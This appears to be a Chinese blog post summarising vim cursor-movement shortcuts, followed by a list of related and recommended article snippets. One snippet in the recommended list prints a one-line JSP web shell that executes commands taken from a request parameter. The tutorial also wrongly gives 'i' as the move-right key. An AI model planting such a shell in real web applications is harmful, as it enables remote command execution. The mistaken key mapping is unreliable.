vim编辑器的工作模式分为3种即(命令模式,编辑模式和尾行模式),具体定义这里就不在赘述了,这里只简单介绍各工作模式下对应的操作和快捷方式。

通常来说三三种模式功能划分大致如下

命令模式:定位、翻页、复制、粘贴、删除都在命令模式下操作
尾行模式:保存和退出在尾行模式下进行
编辑模式:进行文件内容编辑

下面介绍常用的移动光标移动快捷命令

首先使用vim打开文件后默认进入的就是命令模式,命令模式下主要提供的是文件内容的查找,查看和有规律的微型修改,如进行连续行的删除和复制等操作,如果要进行复杂的内容修改(如大量代码的修改)则进入编辑模式处理更为方便

在命令模式下基本光标移到命令有:

【h】---- 向左移动光标
【j】 ----  向下移动光标
【k】---- 向上移动光标
【i】---- 向右移动光标

当然也可以使用键盘方向键进行移动但这偏离了vim命令的基本原则即尽可能的将手放在核心工作区域!

如果光标要在行内进行大范围移动则使用行内移动命令:
【w】---- 后移一个单词
【b】---- 前移一个单词
【0】---- 行首
【^】---- 行首,第一个不是空白字符的位置,与【0】的区别是如果当前行最前方有空格或制表符,【0】会无视这些空白直接顶在屏幕最左边,而【^】则会从开头跳过全部空白直到找到第一个不是空字符的位置
【$】---- 行尾

这些命令是对基本移动命令中【h】和【i】的升级版本可一次进行多个字符的移动

与行内移动命令类似vim也提供了大范围行级移动命令

【gg】---- 光标移动到文件头部
【G】---- 光标移动到文件末
n +【gg】 移动到对应行,n 为指定的航标,例如n = 10 则表示从文件顶部向下数10行即 航标为10的位置

如果文件内容过长需要进行分页查看vim提供了丰富的分页命令

屏幕移动命令(翻页)
【ctrl + b】---- 向上翻页
【ctrl + f】---- 向下翻页
【H】---- 屏幕顶部
【M】---- 屏幕中间
【L】---- 屏幕底部

【H】、【M】、【L】相当于只在当前可视化区域进行光标移动不进行翻页

对于程序员而言更为有用的是下面这两个命令:

段落移动命令(代码块)
【{ 】---- 上一段
【}】----  下一段

【% + (|{|[|)|}|]】----  匹配与之对应的括号,例如 % + ( vim 会自动找到与当前 ‘( ’对应的闭合结束括号 ‘)’ 。
*这里需要说明的是vim中是以空行来区分段落的,因此段落移动命令实际上是在找文本中的上一个空行或下一个空行。

为方便使用vim中加入了标记命令方便用户回跳,如果多次使用相同标记则只保留最后的设置
【m】---- 进行标记添加
【'】----  跳回标记所在位置

举例说明 :命令m + x 表示在当前光标位置添加一个标记,标记名称为 x(这里标记名称可使用a到z任意字符),命令 'x表示从当前位置跳回到之前设置的标记 x 的位置

vim 常用的光标移动大体就是以上这些,需说明的是单独光标移动命令本身除了查看文件内容外没有太大的意义,只有在配合诸如复制,选中删除等命令时才能发挥其更强大的功能。

vim常用快捷键总结一(光标移动命令)的更多相关文章

  1. VIM常用快捷键(转载)

    移动光标 h,j,k,l 上,下,左,右 ctrl-e 移动页面 ctrl-f 上翻一页 ctrl-b 下翻一页 ctrl-u 上翻半页 ctrl-d 下翻半页 w 跳到下一个字首,按标点或单词分割 ...

  2. [转贴] VIM 常用快捷键 --一直记不住

    vim 常用快捷键  原帖地址: https://www.cnblogs.com/tianyajuanke/archive/2012/04/25/2470002.html 1.vim ~/.vimrc ...

  3. [转帖]VIM常用快捷键

    VIM常用快捷键 https://www.cnblogs.com/markleaf/p/7808817.html 快捷键能够显著的提高工作效率 一.移动光标 h,j,k,l 上,下,左,右ctrl-e ...

  4. Mac下Vim编辑快捷键小结(移动光标)

    Mac下Vim编辑快捷键小结(移动光标) 1.移动到行尾"$",移动到行首"0"(数字),移动到行首第一个字符处"^" 2.移动到段首&qu ...

  5. Linux系统下vim常用快捷键及功能

    1. 什么是vim Vim是一个类似于Vi的著名的功能强大.高度可定制的文本编辑器,在vi的基础上改进和增加了很多特性. vim编辑器是Linux系统下标准的编辑器,作用相当于windows系统中的记 ...

  6. VIM 常用快捷键

    一,光标移动 大家不要觉得光标移动不重要,其实它是基础,更好的光标移动,复制,粘贴,删除等才能更加的得心应手,进入了编辑器里面后,鼠标就不能用了. 光标移动 h 或 向左箭头键(←) 20h或者20( ...

  7. [Linux] VIM 常用快捷键2

    如何使用MacVim 1.在插入模式之外 基本上来说,你应该尽可能少的呆在插入模式里面,因为在插入模式里面 VIM 就像一个“哑巴”编辑器一样.很多新手都会一直呆在插入模式里面,因为这样易于使用.但 ...

  8. vim常用快捷键及操作记录

    1. 安装 sudo apt-get install vim 或者 yum install -y vim-enhanced 2. 具体使用技巧如下 打开文件: 命令/操作 说明 vim + filen ...

  9. Day2:Windows常用快捷键与基本的Dos命令

    Windows常用快捷键 必须掌握: Ctrl+C:复制 Ctrl+V:粘贴 Ctrl+Z:撤销 Ctrl+S:保存 Win键+R:运行(run) alt+F4:关闭窗口/页面 Ctrl+A:全选 C ...

随机推荐

  1. jsp一句话木马总结

    一.无回显的命令执行(命令执行后不会在前端页面返回数据) <%Runtime.getRuntime().exec(request.getParameter("i"));%&g ...

  2. ubantu安装中文失败的改正方法

    情况说明 一开始我也是像博主们那样安装,但是一直在这个界面安装失败,太悲伤了!! 报错内容 c Failed to fetch http://us.archive.ubuntu.com/ubuntu/ ...

  3. C#基础_手动书写XML

    XML文档内容: 1.文档声明2.元素=标签 文档总至少要有一个根元素3.属性4.注释   <!--注释内容-->5.CDATA区.特殊字符 <![CDATA[不想解析的内容]]&g ...

  4. K8S服务滚动升级

    对于Kubernetes集群来说,一个service可能有多个pod,滚动升级(Rolling update)就是指每次更新部分Pod,而不是在同一时刻将该Service下面的所有Pod shutdo ...

  5. DataRow修改某一Cell的值

    发现ItemArray并不能改变DataRow的值,之前用ItemArray来复制整行数据的操作. 实际上可以直接用DataRow[]就可以直接改变对应Cell的值.

  6. Python入门系列(六)一篇学会python函数

    函数 函数是只在调用时运行的代码块. def my_function(): print("Hello from a function") my_function() 信息可以作为参 ...

  7. Openstack之各组件命令

    openstack 组件命令 Glance组件操作(镜像服务组件) #环境配置: source /etc/keystone/admin-openrc.sh #查看镜像列表: glance image- ...

  8. java基础学习:java中的反射

    一.什么是java反射 什么是 java 的反射? 说到反射,写这篇文章时,我突然想到了人的"反省",反省是什么?吾一日三省吾身,一般就是反思自身,今天做了哪些对或错的事情. ja ...

  9. C#winform中使用Cef的ChromiumWebBrowser内嵌谷歌内核,调用前端js方法

    1.在winform中调用js方法: --调js中的方法无 入参形式 webBrowser1.ExecuteJavascript("logout()"); --调js中的方法给js ...

  10. Python数据科学手册-机器学习: 流形学习

    PCA对非线性的数据集处理效果不太好. 另一种方法 流形学习 manifold learning 是一种无监督评估器,试图将一个低维度流形嵌入到一个高纬度 空间来描述数据集 . 类似 一张纸 (二维) ...